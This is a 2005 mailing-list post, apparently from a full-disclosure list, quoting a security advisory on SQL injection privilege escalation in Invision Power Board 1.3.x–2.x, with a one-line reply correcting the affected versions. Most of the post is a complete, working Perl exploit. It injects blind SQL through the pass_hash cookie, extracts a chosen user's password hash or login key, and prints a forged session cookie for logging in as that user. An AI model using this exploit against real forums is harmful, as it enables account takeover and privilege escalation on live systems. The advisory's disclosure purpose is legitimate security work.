This is a bug in <= 2.0.3 not 2.*. /str0ke On 16 Jul 2005 18:25:35 -0000, zinho@xxxxxxxxxxxxxxxxx <zinho@xxxxxxxxxxxxxxxxx> wrote: > Hackers Center Security Group (http://www.hackerscenter.com/) > Zinho's Security Advisory > > Desc: Invision PowerBoard 1.3.x - 2.x Privilege escalation through SQL injection > Risk: High > > > hacky0u from http://www.h4cky0u.org kindly reported to me an exploit working against 1.3.x and 2.x versions of Invision Power board. > > I've coded a quickfix to patch it: > http://www.hackerscenter.com/archive/view.asp?id=3812 > > > > This is the exploit (Full credit to h4cky0u for it): > #!/usr/bin/perl -w > > ################################################################## > # This one actually works :) Just paste the outputted cookie into > # your request header using livehttpheaders or something and you > # will probably be logged in as that user. No need to decrypt it! > # Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org > ################################################################## > > use LWP::UserAgent; > > $ua = new LWP::UserAgent; > $ua->agent("Mosiac 1.0" . $ua->agent); > > if (!$ARGV[0]) {$ARGV[0] = '';} > if (!$ARGV[3]) {$ARGV[3] = '';} > > my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin'; > my $user = $ARGV[1]; # userid to jack > my $iver = $ARGV[2]; # version 1 or 2 > my $cpre = $ARGV[3]; # cookie prefix > my $dbug = $ARGV[4]; # debug? > > if (!$ARGV[2]) > { > print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2]. "; > exit; > } > > my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); > > my $outputs = ''; > > for( $i=1; $i < 33; $i++ ) > { > for( $j=0; $j < 16; $j++ ) > { > my $current = $charset[$j]; > my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" : > "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*"; > my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); > my $res = $ua->get($path, @cookie); > > # If we get a valid sql request then this > # does not appear anywhere in the sources > $pattern = '<title>(.*)Log In(.*)</title>'; > > $_ = $res->content; > > if ($dbug) { print }; > > if ( !(/$pattern/) ) > { > $outputs .= $current; > print "$current "; > last; > } > > } > if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; } > } > print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs; > exit; > > # www.h4cky0u.org >
